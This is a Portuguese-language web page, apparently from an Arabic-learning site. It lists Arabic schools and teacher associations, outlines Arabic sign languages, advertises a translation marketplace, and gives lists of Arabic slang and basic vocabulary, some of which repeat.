Organização egipcia oferece cursos de árabe para extranjeiros, cursos de alemão, inglês e francês. EO centro está oficialmente reconhecido pelo Subsecretario de Educação do Estado.

Language Door, Los Angeles, CA
Aulas de árabe para todos os niveis em Los Ángeles e tem escolas em outros lugares.

Arabic2000, On line courses
Estude árabe a distância. Se ofertam algumas aulas gratuitas, teste online e links a outros recursos.

Escreva a sua escola

Escolas de árabe

Escolas de árabe

Centro de árabe, Cairo
Organização egipcia oferece cursos de árabe para extranjeiros, cursos de alemão, inglês e francês. EO centro está oficialmente reconhecido pelo Subsecretario de Educação do Estado.

Language Door, Los Angeles, CA
Aulas de árabe para todos os niveis em Los Ángeles e tem escolas em outros lugares.

Arabic2000, On line courses
Estude árabe a distância. Se ofertam algumas aulas gratuitas, teste online e links a outros recursos.

Escreva a sua escola

Língua de sinais árabe

Língua de sinais árabe

A língua de sinais no mundo árabe foi reconhecida e documentada recentemente. Foram feitos muitos esforços para verificar a linguagem de sinais que se usa em cada país, incluindo Jordania, Egipto, Libia e os Estados do Golfo, e tratar de estandarizar e extender entre toda a comunidade de surdos e pessoas interessadas. Estes esforços foram produzidos muitas línguagens de sinais, quasi tantos como países de fala árabe, mas com o mesmo alfabeto.

Lengua de signos árabe

Giria Árabe

Giria Árabe

A giria árabe descende do árabe clássico. Se diferencia do árabe clássic no que segue as regras da declinação e no que tem sons que não existem na língua estándar.

Nome e adjetivos

geher: bonito, belo
Kosha: velho
Semoaa: joven
obreeza: policia
anasi (femenino): mulher, senhora
keefic (saludo):oi (egipto)
yel-la: Corre!

Gíria iraquí

Shlonkom?: Como estam todos?
zen/zena [M/F]:bem
Shako mako?: Que tem de novo?
Kulshi mako: nada novo..

Frases

Shonak?/Shonik? [M/F]: Como você está?
Kafe al haal ?: Como você está?
Alhamdo lillah: Graças a Deus
Safiya Dafiya: Tudo bem

Giria Árabe

Giria Árabe

A giria árabe descende do árabe clássico. Se diferencia do árabe clássic no que segue as regras da declinação e no que tem sons que não existem na língua estándar.

Nome e adjetivos

geher: bonito, belo
Kosha: velho
Semoaa: joven
obreeza: policia
anasi (femenino): mulher, senhora
keefic (saludo):oi (egipto)
yel-la: Corre!

Gíria iraquí

Shlonkom?: Como estam todos?
zen/zena [M/F]:bem
Shako mako?: Que tem de novo?
Kulshi mako: nada novo..

Frases

Shonak?/Shonik? [M/F]: Como você está?
Kafe al haal ?: Como você está?
Alhamdo lillah: Graças a Deus
Safiya Dafiya: Tudo bem

Ensinando árabe

Ensinando árabe

Associações de professores de árabe

AATA - Asociação Americana de Professores de Árabe
O objetivo da Associação Americana de Professores de Árabe (AATA) é facilitar a comunicação e cooperação entre professores de árabe e promover o estudo, a crítica, a investigação e a instrucção no campo da pedagogía da língua árabe, a lingüística árabe e a literatura árabe.

Associação de Professores de Árabe Victoria.
Este link é parte de um lote. Proporcionado pela Unidade de Estudo, Aprendizagem e Inovação no Ensino. Departamento de Victoria de Educação, Trabalho e Cursos.

Outros recursos

Islamiced Foundation.com
Analiza a importância da língua árabe, com comentários sobre métodos e propostas de planos de estudo.

A Universidade Americana no Cairo
Nesta página você encontrará um curso de "Ensinar árabe como língua extranjeira". Contém informação muito completa sobre outros cursos oferecidos pela organização.

Serviços profissionais de tradução

Serviços profissionais de tradução
www.cursoarabe.com são sócios de Translation Town, especialistas em tradução profissional para Traduções com a garantia adicional de uma equipe independente e arbitraria. Busque Tradutores, peça orçamentos grátis e sem compromisso.

Serviços de tradução

Buscador de tradutores: escolha o tradutor que melhor se adapte a suas necessidades garantizando assim um resultado de qualidade com o preço mais baixo. Facilitamos a você o perfil e todos os detalhes de cada candidato para que decida a quem pedir orçamentos.
Orçamento rápido de tradução Crie seu projecto e envie a nossa página web desde qualquer traductor de nossa base de dados que poderá enviar a você orçamentos e tempo real.
Mercado de tradutores REGISTRO GRATUITO Não é necessário registrar se para buscar em nossa base de dados de tradutores, mas é imprescindivel para pedir orçamentos ou ter acesso a sua página personalizada. Registrar se é grátis,para que esperar?

Recursos online para tradutores

Ferramentas de texto
Software de tradução gratuito
Dicionários online
Glossários
* Computadores e internet
* Medicina
* Economia e Finanças
* Cultura
* Ciência
* E muito mais...
Associações de tradutores
¿Você é tradutor? Acesse a nossa base de dados de traduções e envia seus orçamentos a nossos clientes com la garantía de ser um sistema arbitrário



Palavras em árabe

Palavras em árabe

Palavras básicas

Sim: na,am, aiwa
Não: la
Oi: al salaam a' Laykum/marhaba
Oi: (resposta) WA alaykum al salaam
Adeus: ma salaama
Por quê?: lain?
Quem?: meen?
Quando?: mata?
Como?: kaif?

Dias da semana

Sábado: al sabat
Domingo: al ahad
Segunda feira: al ithnain
Terça feira: al thalatha
Quarta feira: al arba
Quinta feira: al khamees
Sexta feira: al juma
Hoje: al eoum
Ontem: ams
Amanhã: bukra, ghadan
Depois de amanhã: baad bukra
De manhã: fe al sabah
De tarde: baad al dhuar
Esta noite: fel al massa

Comendo

Pão: Khubz
Café da manhã: Iftar
Janta: Ashaa
Almoço: Gadaa
Café: Qahwa
Peixe: Samak
Leite: Haleeb
Cebola: Basal
Laranja: Burdukali
Salada: Salata

Cores

Preto: Aswad
Azul: Azrak
Marrom: Jauzi, Buni
Verde: Akhdar
Cinza: Ramadi
Roxo: Urjuwani, Banafsaji (violet)
Vermelho: Ahmar

Familia

Irmão: Akh
Irmã (de): Bint
Pai: Ab
Avô: Jadd
Avó: Jaddah
Mãe: Umm
Irmã: Akht
Filho (de): Ibn